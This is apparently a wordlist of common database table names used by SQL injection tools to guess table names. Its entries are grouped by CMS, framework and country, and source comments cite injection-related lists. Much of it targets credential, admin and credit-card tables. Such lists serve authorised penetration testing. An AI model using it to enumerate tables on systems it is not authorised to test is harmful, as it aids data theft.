THOT_DEEP ZENTRACK_VARFIELD_IDX roads_endpoints Propdesc_table general_log peer_configs hot_prop phones ServiceBinding emailinfo dtb_member cmSiteNode nodes sbreciprocal_cats rss_read bombing tblblogtrackbacks fragment dtb_review tblblogsearchstats datasources CPG_users vrls_partners guava_roles webcal_user_layers ANSWER_GROUP_DETAIL tbl_clients dtb_kiyaku EmailAddress Sea powers reserve LINEITEM project_user_xref Agent idioma dtb_campaign_detail jos_components user_rights tf_messages Class_Def_Table geo_lake tissue ligneDeFacture PZ_Data tf_cookies archtypes cmts photo dtb_bloc user_preferences D_Abbreviation data_set_association site_location jforum_posts Property pg_ts_dict badspy gearing credenziali abstract evidence files test intUsers tblblogentries cocktail_person cdv_curated_allele REORDER Religion turns MetadataValue curso redirect accountuser StateType forum_user_stat Descriptions_Languages m_users_profile Booked_On tblblogroles organizations topic economy Model maxcodcorreo RATING Transactions Chemicals m_data USER_GROUP equipment_type geo_Island sysmaps ezin_roles phpbb_themes_name dtb_send_history dtb_send_customer cart size pg_ts_cfgmap QUESTION DC_Data webcal_group_user telefono builds tbluserroles webcal_site_extras solde document m_users_acct vendor_types fruit Service PART cell_line dtb_bat_order_daily_age images apartments THOT_ALPHA ippaths area SYNALLAGI sysmaps_hosts tbl_works statuses webcal_user customurl THOT_YEAR correo Factory_Master inv_lines_seq certificates webcal_asst ostypes POINT_SET forum_flag bugs taxonomy UM_ROLES payer tf_log job_title ask wp_options forum_user_activity trackbacks wp_pod_fields translation cdv_passport_group User_ Users access_control my_county zoph_people account_permissions ORDERLINES wp_term_relationships pictures product_font Departure routerbenchmarks bkp_Item Channel_Data realtable odetails user_type_link belong ezin_users time_zone_transition ew_tabelle ezsearch_return_count_new m_users Economy tbl_works_clients geo_Mountain dtb_category tmp reservation geo_Desert dtb_payment forum_topic ezsearch_search_phrase_new Equipment MetadataSchemaRegistry basePlusCommissionEmployees addresses phpbb_search_wordlist user_defined_attribute fournisseurType dpt_trans PostalAddress defaultinsertid Politics pools cocktail_lokal dtb_blocposition templatelinks jforum_ranks D_Format_Data tblblogtextblocks time_zone_leap_second rss Decimation dtb_user_regist f_options siteIndexTable Administrator phpbb_users ezin_authors SpecificationLink videos sf_guard_remember_key employer leases phpbb_smilies stats f_spatialcontextgroup experiencia dtb_csv line_items_seq ndb_binlog_index zoph_categories help_topic transaction wp_links cdv_allele_curated_allele timeperiod item_master_seq GLI_profiles cv_countries journal tf_users mwuser stories dtb_table_comment Lake SQLDATES phpbb_search_wordmatch friend2 functions comboboxes std_item jiveVersion sf_guard_group Classification Sensitivity PREFIX_category_group preferences credit geo_sea type knjiga FindCriteria zoph_prefs webcal_entry_repeats room domain_info SALES profession1 SUPPORT_INCIDENTS PERMISSION Defect Desert KARTA UM_ROLE_PERMISSIONS Purchases PREFIX_configuration guava_themes alltypes webcal_view_user vrls_xref_country subject continent D_Format dtb_recommend_products Linkdesc_table TelephoneNumber dtb_customer_mail_temp copyrights DEMO_ASSIGNMENTS guava_group_assignments jforum_extensions zutat ew_user alerts partsvendor jiveGroup organization_seq dtb_customer_reading configuratore tbl_event my_street osvendors softwares Session admins TIL_IDIOTON EthnicGroup reviews tblblogentriesrelated guava_packages GRouteDetail cdv_reason membership bkp_RS_Servers vrls_listing_images schema_info entity group ClassificationNode dtb_best_products cv_cropping_system egresadoxidiomaxhabilidad locus_data dtb_order_temp tblblogsubscribers account_log facture MetadataFieldRegistry BRANCH orgs DM NextID_table webcal_group DC wp_pod_widgets chromosomes Name roster dtb_csv_sql synchro_type langlinks genres_in_movies Province answerOption wp_postmeta ERDESIGNER_VERSION_ID calendar cmEvent forum_user SalesReps ew_gruppi vrls_xref_state_province conferences pay Plane webcal_entry_repeats_not Island tbl_works_tech webcal_import nuke_gallery_comments monthlabel tblblogcomments dtb_delivtime product_size_multi manufacturer Tasks island coupon webcal_report RegistryPackage sysmaps_links procs_priv invoices_seq film genres field vertex FoundThumbs reciprocal_links Course idiomaxegresado ordreReparation Assigned_To ORDERITEMS PREFIX_product_attribute_image COLLECT_SITE THOT_CONCEPT publisher dtb_mailmaga_template DSObject_table forum_post sf_guard_permission Prefixes dtb_update BROWSE tf_rss TIME reciprocal_mails association typeFacture StringTable CATEGORIES Language mountain ad_locales ExtrinsicObject geo_island derived_types snipe_gallery_cat guava_roleviews production_wtype AccountXML1 wh_man_children product_colour_multi ike_configs intUseringroup study_user pg_ts_cfg connectorswitches procedure_biosample theday fournisseur typeProduit BOOKAUTHOR passwords keys AuditableEvent ExternalIdentifier source BOOK_LOANS UserRole vrls_xref_listing_offer_type cmRole PREFIX_search_engine my_poi Channel_Comment forum_cat invite PREFIX_order_return_state experimental_data_set DOCUMENT_FIELDS Scripts desert Can_Fly synchro_element maxcodtelefono enrollments tblblogpages f_attributedefinition intGroups way_nodes THOT_TARGET MOMENT dtb_classcategory product_price relation_members PREFIX_access dtb_deliv webcal_categories Parts invoices ANSWER tbl_categories yearend DEPARTMENTS account_level ref help_relation zoph_users procedure_data_set Association mtb_pref ANSWER_GROUP GDirectedRoute graphs occasion account_temp nuke_gallery_categories areas cmContentVersion checksum_history accessTable cameFromTable services_links Coefficients reglement maxcodexperiencia vrls_xref_listing_type adv lake tests Offices Editor wp_pod_pages Extlangs seq_gen rss_subscription Station_Comment jforum_config geo_River facilities connectorlinks file_storage neuf school wp_term_taxonomy m_plans ligneDeCommande FORM_QUESTION history_str f_classtype endpoints zoph_albums bkp_ItemPresentation tblblogcategories traffic_selectors FORM creditcards people_reg country_partner jforum_users dtb_mail_history priorities relations combustiblebois slow_log WROTE flow pay_melodies dtb_templates variable_interest dtb_class ZENTRACK_VARFIELD catalogue wp_usermeta time_zone games wp_terms sf_guard_user_group honorsinfo maxcodestudio estudio_academico RECORD Room alarms ew_temi clubs net_pm tbl_state cmContentTypeDefinition radacct peer_config_child_config cmAvailableServiceBinding Poles_Zeros ipmacassocs m_news dtb_news shared_secrets UsageDescription rol phpbb_posts ipassocs cmSystemUser phpbb_categories FoundLists channelitems lokal subcategory Languages jiveSASLAuthorized cocktail cust_order THOT_SOURCE product_font_multi presence UM_USERS jiveUser wp_comments dtb_bat_order_daily_hour jos_vm_category CONTACT SpecialityTable librarian geo_river MonitorStatus pagelinks ways cities PREFIX_order_return_state_lang subscriber prereq Slot rss_item UM_USER_ROLES PREFIX_timezone evento guava_views cmServiceDefinition Variants searchindex actions cdv_passport_set production_multiple page_log_exclusion furniture nuke_gallery_pictures oc os PREFIX_tab_lang lc_fields framework_email datasets externallinks geo_desert politics hourlyEmployees D_Comment EMPLOYEES individual m_with program combustible ezin_articles help_keyword POSITION stars_in_movies glas cmRepository dtb_mailtemplate DIM_TYPE cart_table D_Unit macassocs changeTva UM_PERMISSIONS geo_Source cdv_marker nuke_gallery_template_types UM_USER_ATTRIBUTES Aircraft store Descriptions_Variants trigger_depends guava_role_assignments ExternalLink bkp_RS_Clusters PN_Data users_sessions webcal_nonuser_cals parent_test cmServiceBinding BUYER transcache dtb_question_result rss_category profiling THOT_LANGUAGE cmContent Descriptions_Scripts DSProp_table webcal_report_template service_request resource_types THOT_SUB_MENU bkp_ResourceFolder PREFIX_tab province dtb_bat_relate_products changePrix proc ewst_sessioni nuke_gallery_media_types outdoor_spaces po_seq salariedEmployees grp jforum_topics array_data most_recent_checksum m_earnings product_related dtb_baseinfo webcal_import_data federationApplicants melodies jforum_forums sf_guard_group_permission sys_acl_matrix country_diseases dtb_order_detail sic PROJECT log_fake_referers ROLE_PERM isDeleted_table vrls_listings Table sf_guard_user Subject cdv_curation dictionary forum_report institution cmQualifyer jforum_categories site_climatic phpbb_points_values zoph_color_schemes TypeRule dtb_customer PREFIX_customer_group ProjectsTable dtb_products words dtb_question UM_USER_PERMISSIONS exam commande dtb_products_class subscribe page_restrictions querycache_info cdv_map_feature Link_table guava_users connectormacassocs moduleexecs guava_groups Institution sconfig shared_secret_identity platforms BORROWER phpbb_acl_options markers Population shipping guava_preferences rating UserCapability Priority rec_jobs ezin_sections Descriptions_Regions SPACE geo_Sea DATA_ORG Contributor wallet balance flag # Various Joomla tables jos_vm_product_download jos_vm_coupons jos_vm_product_reviews jos_core_acl_aro jos_vm_shopper_vendor_xref jos_stats_agents jos_vm_orders jos_poll_menu jos_content_rating jos_vm_vendor jos_vm_product_mf_xref jos_vm_export jos_polls jos_content_frontpage jos_vm_userfield_values jos_categories jos_poll_data jos_vm_manufacturer jos_vm_order_user_info jos_core_acl_groups_aro_map jos_messages jos_vm_zone_shipping jos_bannertrack jos_vm_order_status jos_modules_menu jos_core_log_items jos_modules jos_users jos_vm_product_category_xref jos_vm_product_attribute jos_poll_date jos_vm_vendor_category jos_vm_state jos_vm_country jos_weblinks jos_vm_cart jos_vm_shipping_label jos_vm_manufacturer_category jos_vm_shopper_group jos_vm_product_votes jos_vm_currency jos_vm_creditcard jos_menu jos_groups jos_messages_cfg jos_vm_order_payment jos_content jos_bannerclient jos_vm_product_discount jos_core_log_searches jos_vm_auth_user_group jos_contact_details jos_vm_auth_group jos_vm_waiting_list jos_vm_category_xref jos_newsfeeds jos_vm_auth_user_vendor jos_vm_user_info jos_vm_function jos_vm_product_files jos_vm_userfield jos_vm_shipping_carrier jos_core_acl_aro_map jos_vm_shipping_rate jos_vm_product jos_vm_product_product_type_xref jos_core_acl_aro_groups jos_templates_menu jos_menu_types jos_plugins jos_session jos_vm_order_item jos_vm_module jos_vm_product_attribute_sku jos_vm_product_price jos_vm_csv jos_migration_backlinks jos_vm_product_relations jos_core_acl_aro_sections jos_vm_order_history jos_banner php_users ALL_USERS banned_users users_tmp users_club publicusers cmsusers # List provided by Anastasios Monachos (anastasiosm@gmail.com) blacklist cost moves pelates tamio tameio xristes zones tamio_pelates kwdikos addressbookgrp sendmsgs publicationauthor publicationfile topicpublication userrights comp_group computers_ID event_log networking routing software_licenses ips arxeia SMS_TABLE TABLE_PRIVILEGE_MAP AMUSER CONTACTTYPE CONTENT DOWNLOADGROUP DOWNLOADS DOWNLOADTYPE EMAIL ENQUIRY FACTSHEET FUND FUNDGROUP HISTORY MANAGEMENTGROUP SUBSCRIBE TBLUSERS TBLLIST TBLLOG TBLPROFILES TBLREPORTS TBLTRANSACTIONS TBLRETAILUSERS TBLCORPUSERS TBLCORPORATEUSERS # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py) tbladmins sort _wfspro_admin 4images_users a_admin adm admin_login admin_user admin_userinfo administer administrable administrate administration administrator administrators adminrights adminuser art article_admin articles artikel aut autore backend backend_users backenduser bbs chat_config chat_messages chat_users clubconfig content cpg_config cpg132_users customers_basket dbadmins dealer dealers diary download Dragon_users e107_user fusion_user_groups fusion_users ibf_admin_sessions ibf_conf_settings ibf_members ibf_members_converge ibf_sessions icq index info ipb_sessions joomla_users jos_blastchatc_users jos_comprofiler_members jos_joomblog_users jos_moschat_users knews_lostpass korisnik korisnici kpro_adminlogs kpro_user login_admin login_admins login_user login_users logins logon logs lost_pass lost_passwords lostpass lostpasswords m_admin main mambo_session mambo_users manage manager mb_users member memberlist minibbtable_users mitglieder movie mybb_users mysql name names news_lostpass newsletter nuke_authors nuke_bbconfig nuke_config nuke_popsettings nuke_users obb_profiles parol partners passes password perdorues perdoruesit phorum_session phorum_user phorum_users phpads_clients phpads_config forum_users poll_user punbb_users pwd pwds reg_user reg_users registered reguser regusers cards site_login site_logins sitelogin sitelogins sites smallnuke_members smf_members SS_orders statistics superuser sysadmin sysadmins sysuser sysusers table tables tb_admin tb_administrator tb_login tb_member tb_members tb_user tb_username tb_usernames tb_users tbl tbl_user tbl_users tbluser tbl_client tblclients tblclient usebb_members user_admin user_info user_list user_login user_logins user_names usercontrol userinfo userlogins username usernames vb_user vbulletin_session vbulletin_user voodoo_members webadmin webadmins webmaster webmasters webuser webusers x_admin xar_roles xoops_bannerclient xoops_users yabb_settings yabbse_settings ACT_INFO ActiveDataFeed CategoryGroup ChicksPass ClickTrack CountryCodes1 CustomNav DataFeedPerformance1 DataFeedPerformance2 DataFeedPerformance2_incoming DataFeedShowtag1 DataFeedShowtag2 DataFeedShowtag2_incoming dtproperties Event Event_backup Event_Category EventRedirect Events_new Genre JamPass MyTicketek MyTicketekArchive News PerfPassword PerfPasswordAllSelected Promotion ProxyDataFeedPerformance ProxyDataFeedShowtag ProxyPriceInfo Region SearchOptions Series Sheldonshows StateList States SubCategory Subjects Survey SurveyAnswer SurveyAnswerOpen SurveyQuestion SurveyRespondent sysconstraints syssegments tblRestrictedPasswords tblRestrictedShows TimeDiff Titles ToPacmail1 ToPacmail2 UserPreferences uvw_Category uvw_Pref uvw_Preferences Venue venues VenuesNew X_3945 tblArtistCategory tblArtists tblConfigs tblLayouts tblLogBookAuthor tblLogBookEntry tblLogBookImages tblLogBookImport tblLogBookUser tblMails tblNewCategory tblNews tblOrders tblStoneCategory tblStones tblUser tblWishList VIEW1 viewLogBookEntry viewStoneArtist vwListAllAvailable CC_info CC_username cms_user cms_users cms_admin cms_admins user_name jos_user table_user mail bulletin cc_info login_name admuserinfo SiteLogin Site_Login UserAdmin Admins Login Logins # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html account accnts accnt user_id members usrs usr2 accounts admin admins adminlogin auth authenticate authentication account access customers customer config conf cfg hash login logout loginout log member memberid password pass_hash pass passwd passw pword pwrd pwd store store1 store2 store3 store4 setting username name user user_name user_username uname user_uname usern user_usern un user_un usrnm user_usrnm usr usernm user_usernm user_nm user_password userpass user_pass user_pword user_passw user_pwrd user_pwd user_passwd # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047) wsop Admin Config Settings tbl_admin tbl_admins tbl_member tbl_members tblservers id uid userid user_id auid adminpass LoginID FirstName LastName cms_member cms_members Webmaster Webuser tbl_tbadmin Adminlogin useraccount nguoidung quanly quantri dangnhap taikhoan taikhoanquantri useraccounts nguoidungs tbuser tblogin tbadmin tbaccount tbuseraccount tbnguoidung tbllogin tbladmin tblaccount tbluseraccount tblnguoidung tbusers tblogins tbadmins tbaccounts tbuseraccounts tbnguoidungs tbllogins tblaccounts tbluseraccounts tblnguoidungs tb_account tb_useraccount tb_nguoidung tbl_login tbl_account tbl_useraccount tbl_nguoidung tb_logins tb_accounts tb_useraccounts tb_nguoidungs tbl_logins tbl_accounts tbl_useraccounts tbl_nguoidungs tb_admins adminid admin_id adminuserid admin_userid AdminUID adminusername admin_username adminname admin_name usr usr_n usrname usr_name usrnam useradmin apwd adminpaw adminpwd admin_pwd admin_pass adminpassword admin_password admin_passwords usrpass usr_pass pass userpass user_pass dbaccount dbstudent dbstudents dbadmin useres dbuser dbusers personal dbpersoon list lists dblist userpassword user_password userpwd user_pwd SecurityLevel LastLoginDate LoginIP pword ad Konto Konten admin_psw verwalten verwaltet administrieren Verwaltung Administratoren adminpsw adminupass Kunst Artikel Autor Buch chat Kunden tblnews banner options general upload uploads file akhbar Firma contenu Kontakt Kontakte Inhalt Kontrolle controle Kunde Tagebuch herunterladen dw glmm gly us stnuser stuser stusers stuseres dbstaff db_staff staff_db database databases test_user user_test test_users users_test Gruppe Gruppen guanli guanliyuan h_admin Bilder Mitgliederbereich key keywords Anmeldung Protokolle Mitglied Mitgliederliste Mitglieder mima mm mpassword musername Film Filme nc new Namen Auftrag Bestellungen Passwort power psw pswd pw pwd1 jhu webapps sing singup singin registeration reg registriert root roots Tagung Sitzungen Einstellungen Standorte Statistiken sys Systemadministratoren systime Tisch Tabellen Titel Benutzer user_pw Benutzerliste userpasswd usr_pw usrs Benutzername Benutzernamen vip Webbenutzer Kategorie Land Suchoptionen Serie Staaten UnterkKlasse Umfrage TotalMembers Veranstaltungsort Veranstaltungsorte utilisateur trier compte comptes administrer administrables administrateur administrateurs auteur livre entreprise concessionnaire concessionnaires telecharger groupe groupes liens connexion principal gestionnaire membre membres films nom noms ordre commandes partenaire partenaires passe asse enregistrs paramtres statistiques super tester utilisateurs intranet_users utlisateur Catogorie Pays Sujets Sondage Titres Lieux server ststaff yhm yhmm # site:it utenti categorie attivita comuni discipline Clienti gws_news emu_services nlconfig Accounts gws_page argomento ruolo emu_profiles user_connection jos_jf_tableinfo regioni dati gws_admin articoli cron_send comune esame dcerpcbinds gruppi Articoli gws_banner gws_category soraldo_ele_tipo db_version jos_languages mlmail gws_product connections not_sent_mails utente documento gws_purchase offers anagrafica gws_text sent_mails gws_jobs eventi mlattach downloads mlgroup decodifica_tabelle p0fs gws_client decodifica_campi dcerpcrequests discipline_utenti jos_jf_content # site:fr facture factures devis commande bon_commande bon_livraison fournisseur panier paiement reglement Avion departement Compagnie produits spip_auteurs BDDJoueurs_alliance spip_articles spip_syndic pays spip_auteurs_rubriques spip_mots_forum spip_signatures diplomatie spip_mots_breves spip_forum spip_auteurs_messages spip_documents spip_messages spip_index_dico spip_meta spip_petitions spip_mots_syndic spip_types_documents etudiant spip_groupes_mots spip_documents_articles spip_rubriques spip_breves agenda BDDJoueurs_colonies spip_mots_articles spip_mots spip_syndic_articles spip_auteurs_articles spip_mots_rubriques BDDJoueurs modulephoto nuke_cities forums nuke_banner_positions nuke_subscriptions nuke_downloads_categories nuke_journal_comments nuke_bbranks spip_documents_rubriques nuke_confirm service nuke_bbthemes_name nuke_autonews nuke_bbdisallow nuke_reviews_add EDITEUR nuke_links_newlink nuke_faqcategories etudiants nuke_stats_year nuke_bbsmilies spip_mots_documents spip_documents_breves nuke_bbsearch_results post nuke_users_temp nuke_blocks nuke_reviews_main themes nuke_modules nuke_banner_plans nuke_links_votedata spip_referers inscription BONUS nuke_links_editorials nuke_topics nuke_bbprivmsgs_text chatbox nuke_referer nuke_bbauth_access nuke_journal_stats nuke_faqanswer nuke_banner_terms message nuke_bbvote_voters nuke_pages_categories spip_index modulerubriquephoto spip_visites Role nuke_public_messages actualites nuke_reviews_comments nuke_downloads_votedata nuke_headlines nuke_downloads_editorials enseignant modulemessage nuke_session nuke_queue nuke_main nuke_bbposts spip_ortho_cache Enseignant nuke_downloads_newdownload sons plurielanim nuke_bbforums nuke_bbsearch_wordmatch nuke_bbvote_results nuke_stats_date nuke_bbwords nuke_bbcategories typecompte nuke_stories nuke_stats_month personne etablissement nuke_counter indexation nuke_poll_desc nuke_links_links nuke_bbtopics Utilisateurs nuke_related nuke_downloads_downloads spip_versions_fragments nuke_bbgroups nuke_bbtopics_watch nuke_bbuser_group nuke_downloads_modrequest spip_versions Joueur nuke_bbsessions nuke_links_categories directeur Etudiant nuke_bbposts_text nuked_page Personne nuke_bbbanlist Parametre nuke_pollcomments nuke_bbforum_prune nuke_pages nuke_links_modrequest nuke_stats_hour nuke_groups_points nuke_reviews nuke_bbthemes modulemailling agence nuke_encyclopedia nuke_bbsearch_wordlist nuke_message Equipe nuke_comments nuke_poll_check nuke_journal nuke_stories_cat nuke_banner nuke_groups spip_visites_articles nuke_encyclopedia_text spip_referers_articles nuke_bbvote_desc Artiste nuke_poll_data nuke_bbprivmsgs spip_ortho_dico spip_caches # site:ru spravochnik nomenklatura dokument zakaz ostatki kontragenty klient uslugi provodki obrabotka sklad zhurnal guestbook currency phpshop_opros_categories voting terms phpshop_categories banners phpshop_news phpshop_system phpshop_baners phpshop_menu phpshop_links mapdata setup_ phpshop_users jubjub_errors vykachka phpshop_opros order_item # site:de tt_content kunde medien Mitarbeiter fe_users voraussetzen bestellung be_users Vorlesungen persons Assistenten Professoren Studenten lieferant mitarbeiter gruppe wp_post2cat phpbb_forum_prune crops mein_doc artikel_kategorie kategorien rel_person_paper tx_tcdirectmail_bounceaccount Akten skins riddles ci_slogans phpbb_vote_voters account_map_event roles stellen meetings special_category rel_paper_topic kbase_category attribut phpbb_auth_access zo_gruppe_stelle zo_kontakt_stelle hoeren shop_settings tutorial motd_coding artikel_variationsgruppen papers gesuche zahlung_weitere ts2_server_privileges artikel_variationen artikel_optionen chessgames portale products_images phpbb_privmsgs_text kurs KUNDE wp_linkcategories tx_tcdirectmail_targets tx_templavoila_datastructure Adresse bestellung_kunde rel_person_topic css_file visual account_multi Adressen phpbb_words phpbb_disallow kauf_artikel music_association phpbb_banlist dokumente greylist backup map_event kreditkarte house_extensions address_book crops_tpl phpbb_vote_desc versandkostenpreise pruefen gruppen vertreter phpbb_confirm verkaeufer be_groups rel_person_organization phpbb_privmsgs buecher kategorie phpbb_sessions phpbb_search_results studierende user_online_newyear hersteller object_link adresse address_format newsletter_recipients PERMISSIONS user_uploads_pictures festplatte veranstalter mein_doc_h tx_tcdirectmail_clicklinks phpbb_vote_results phpbb_topics_watch tx_tcdirectmail_lock account_map standort gd delete_reasons tx_tcdirectmail_sentlog valhalla vis_typen counter kbase_main music_items kauf payment_qenta seite_abschnitt trivia mehrwertsteuer massenmail klassen hilfe geraet tt_address dg_books portal_access orders_recalculate artikel_bestellung kontakt chesshistory notizen seite_layout virgator_table wp_categories chessmessages # site:br endereco pessoa usuarios estado pedidos CLIENTE itens telefone empresa PRODUTO categoria cidades clientes produtos municipio cliente LT_PROCEDIMENTO calendario D_US_FAVORITOS moradia pessoa_telefone contador aidf resumo add_irm M_ESQUEMA_PERMISSAO duvida LT_METODO_ATUALIZACAO M_RELATORIOS LT_SERIE estados LT_OBJETO cidade declaracaonf especieaidf S_SESSOES D_PR_HONORARIOS empresa_atividade correcaostrategy jos_docman_groups D_US_RECENTE notafiscal solicitacao pessoa_endereco atividade M_FATURAS D_PR_APENSOS agencia LT_LANCAMENTO D_US_AREA_DE_TRABALHO D_FA_ITENS dist_universidade multastrategy_faixamulta LT_TIPO_DE_ACAO D_PR_EVENTOS D_FA_PARCELAS tipodeducao D_PR_PARCELAMENTO sala D_US_EQUIPES_DO_USUARIO cidadao documentos S_GLOBAL M_CADASTRO_GERAL jos_docman_licenses guiaavulsa solicitacaosenha M_CUBOS promocoes grau_escolaridade imagens multastrategy D_PR_PARTES processo gestor imagem categorias LT_CLASSE_FORO jurosstrategy deducao S_PARAMETROS notafiscal_deducao CAIXA foto M_FERIADOS S_ORIGENS guiaavulsa_itemguiaavulsa situacaoitem notafiscal_itemnotafiscal cotacao papel M_EMAIL_FILA D_PR_OBJETOS dados_prefeitura S_LOG LT_FASE D_PR_ADVOGADOS M_USUARIO projeto LT_SITUACAO D_PR_CUSTAS grupoatividade LT_NATUREZA membros_familia instituicao emprestimos itemguiaavulsa D_EM_DESTINATARIO LT_GRUPO S_SEQUENCIAS itemnotafiscal disciplina jos_docman autorizacaonfe tipo_bolsa estoque LT_JURISDICAO serie sse_estudante LT_FOROS perfil despesa_familia noticias LT_GARANTIA M_ESQUEMA_HORARIO MM_NOTIFICACOES_DO_PROCESSO jos_jce_plugins grau_parentesco D_PR_GARANTIAS M_SERVICOS_PRESTADOS LT_CATEGORIA faixamulta encerramento M_PROCESSOS dados_familia MM_USUARIOS_DO_PROCESSO LT_ENCERRAMENTO LT_DECISAO indice contador_empresa sse_familia D_SE_INDICES cursos estado_civil dados_estudante LT_EQUIPES LT_PROGNOSTICO LT_EVENTO jos_jce_groups D_PR_DOCUMENTOS D_PR_DESDOBRAMENTOS logradouro despesa_aluno fiscal LT_CUSTOM4 convite manutencao LT_CUSTOM1 LT_CUSTOM2 LT_CUSTOM3 # site:es jos_respuestas DEPARTAMENTO EMPLEADO TRABAJA_EN DEPENDIENTE LOCALIZACIONES_DEPT PROYECTO lineas_fac pueblos NUEVOS CENTROS BANCOS PERSONAL SUCURSALES PRODUCTOS provincias jos_estadisticas USUARIO ALUM MOVIMIENTOS ACTOR nuke_gallery_rate_check ANTIGUOS CUENTAS vendedores CLIENTES articulos DEPARTAMENTOS PROFESORES jos_preguntas PEDIDOS EMPLEADOS nuke_gallery_pictures_newpicture Books grupo facturas aclaraciones preguntas personas estadisticas # site:cn yonghu dingdan shangpin zhanghu jiaoyi zhifu rizhi quanxian juese caidan xinxi shuju guanliyuan xitong peizhi canshu zidian url BlockInfo cdb_attachments cdb_buddys LastDate cdb_medals cdb_forumlinks cdb_adminnotes cdb_admingroups stkWeight cdb_announcements cdb_bbcodes cdb_advertisements cdb_memberfields cdb_forums cdb_forumfields cdb_favorites cdb_banned cdb_crons cdb_access cdb_invites sysmergeschemaarticles CodeRuleType cdb_membermagics cdb_imagetypes cdb_memberspaces cdb_campaigns pw_wordfb cdb_paymentlog cdb_adminsessions pw_adminset seen t_snap MSmerge_altsyncpartners zl_deeds pw_styles pw_announce cdb_pluginvars pw_smiles cdb_modworks ncat pw_threads zl_admin cdb_onlinetime cdb_mythreads cdb_members spt_datatype_info seentype zl_article spt_datatype_info_ext cdb_debateposts mgbliuyan pw_schcache zl_finance pw_banuser cdb_pluginhooks wp1_categories MSmerge_errorlineage cdb_activities zl_baoming cdb_orders ad_ad cdb_pms cdb_magics cdb_itempool phpcms_announce pw_actions pw_msg cdb_debates cdb_magiclog pw_forums cdb_polls t_stat pw_attachs cdb_plugins pw_membercredit cdb_posts cdb_activityapplies zl_media acctmanager pw_usergroups cdb_faqs cdb_onlinelist pw_hack Market MSrepl_identity_range pw_favors pw_config pw_credits cdb_failedlogins pw_posts cdb_attachpaymentlog cdb_myposts cdb_polloptions wp1_comments cdb_caches pw_members spt_provider_types pw_sharelinks pw_tmsgs pw_polls cdb_moderators pw_bbsinfo aliasregex userfiles acctmanager2 cdb_pmsearchindex cdb_forumrecommend publishers zl_advertisement guanggaotp pw_memberinfo aliastype # site:tr kullanici kullanicilar yonetici yoneticiler adres adresler yayincilar yayinci urun urunler kategori kategoriler ulke ulkeler siparis siparisler bayi bayiler stok reklam reklamlar site siteler sayfa sayfalar icerik icerikler yazi yazilar genel istatistik istatistikler duyuru duyurular haber haberler komisyon ucret ucretler bilgi basvuru basvurular kontak kontaklar kisi kisiler uye uyeler kayıt kayıtlar tel telefon telefonlar numaralar numara kart kartlar kredi krediler kredikartı fiyat fiyatlar odeme odemeler kategoriler tbl_Uye xml_kategoriler tbl_siparis tbl_googlemap tbl_ilce tbl_yardim tbl_Resim tbl_anket tbl_Rapor tbl_statsvisit tbl_ticket tbl_Cesit tbl_xml tbl_Cinsiyet xml_urunler_temp tbl_takvim tbl_altkategori tbl_mesaj tbl_Haber tbl_AdresTemp tbl_Firma tbl_Medya xml_urunlerbirim tbl_Yardim tbl_medya tbl_Video xml_markalar_transfer tbl_adrestemp tbl_online tbl_sehir tbl_resim tbl_Gorsel tbl_doviz tbl_gorsel tbl_kampanya tbl_Blog tbl_Banners tbl_koleksiyon tbl_Galeri tbl_Kampanya tbl_Favori tbl_sss tbl_Banner tbl_Faq xml_markalar_temp tbl_faq tbl_Personel tbl_Seo tbl_adres tbl_ayar tbl_metin tbl_AltKategori tbl_kategori tbl_Marka tbl_blogkategori tbl_ulke tbl_sepetold tbl_yorum tbl_Fiyat tbl_Reklam tbl_Kategori tbl_Yorum tbl_semt tbl_Tedarikci xml_kampanyakategori tbl_ozelgun tbl_uyexml tbl_rapor tbl_seo tbl_Indirim tbl_Ilce tbl_bulten tbl_video tbl_Ayar tbl_fatura tbl_cinsiyet tbl_reklam tbl_sliders tbl_KDV tbl_uye_img tbl_siparisid tbl_BlogKategori tbl_Yonetici tbl_kdv tbl_Online tbl_temsilci tbl_Dil tbl_banners tbl_Mesaj tbl_Logs tbl_logs tbl_fiyat tbl_SSS tbl_Puan tbl_kargo tbl_Statsvisit tbl_Koleksiyon tbl_dil tbl_Sepetold tbl_Fatura tbl_yonetici tbl_Yazilar tbl_Temsilci tbl_Kargo tbl_cesit tbl_uye tbl_haber tbl_SiparisID tbl_Adres tbl_Ozelgun tbl_banka tbl_Videogaleri tbl_galeri tbl_videogaleri xml_urunresimleri tbl_urun tbl_Ticket tbl_yazilar tbl_Ulke tbl_Urun tbl_renk tbl_Harita tbl_Sepet tbl_Sehir tbl_Uye_Img tbl_Semt tbl_indirim xml_kampanyakategori_transfer tbl_Takvim tbl_blog tbl_Sliders tbl_Renk tbl_UyeXML tbl_tedarikci tbl_Fotogaleri tbl_Doviz tbl_Anket tbl_Banka tbl_Metin tbl_XML tbl_firma tbl_harita tbl_banner tbl_sepet tbl_fotogaleri tbl_marka tbl_Siparis tbl_personel tbl_puan tbl_Bulten tbl_favori tbl_onlineusers # List provided by Pedrito Perez (0ark1ang3l@gmail.com) adminstbl admintbl affiliateUsers hsa_user tblmanager tblmanagers tblproduct tblproducts tuser tusers userstbl usertbl # WebGoat user_data # https://laurent22.github.io/so-injections/ accounts admin baza_site benutzer category comments company credentials Customer customers data details dhruv_users dt_tb employees events forsale friends giorni images info items kontabankowe login logs markers members messages orders order_table photos player players points register reports rooms shells signup songs student students table table2 tbl_images tblproduct testv2 tickets topicinfo trabajo user user_auth userinfo user_info userregister users usuarios utenti wm_products wp_payout_history zamowienia # https://deliciousbrains.com/tour-wordpress-database/ wp_blogmeta wp_blogs wp_blog_versions wp_commentmeta wp_comments wp_links wp_options wp_postmeta wp_posts wp_registration_log wp_signups wp_site wp_sitemeta wp_termmeta wp_term_relationships wp_terms wp_term_taxonomy wp_usermeta wp_users # https://docs.joomla.org/Tables assets bannerclient banner bannertrack categories components contact_details content_frontpage content_rating content core_acl_aro_groups core_acl_aro_map core_acl_aro_sections core_acl_aro core_acl_groups_aro_map core_log_items core_log_searches extensions groups languages menu menu_types messages_cfg messages migration_backlinks modules_menu modules newsfeeds plugins poll_data poll_date poll_menu polls redirect_links Schemas sections session stats_agents templates_menu template_styles update_categories update_sites_extensions update_sites updates usergroups user_profiles users user_usergroup_map viewlevels weblinks # site:nl gebruikers # asp.net AspNetUsers AspNetRoles AspNetUserRoles AspNetUserClaims AspNetUserLogins AspNetRoleClaims AspNetUserTokens __EFMigrationsHistory # django auth_user auth_group auth_permission django_session django_migrations django_content_type django_admin_log # laravel migrations password_resets failed_jobs personal_access_tokens job_batches model_has_roles model_has_permissions role_has_permissions # rails schema_migrations 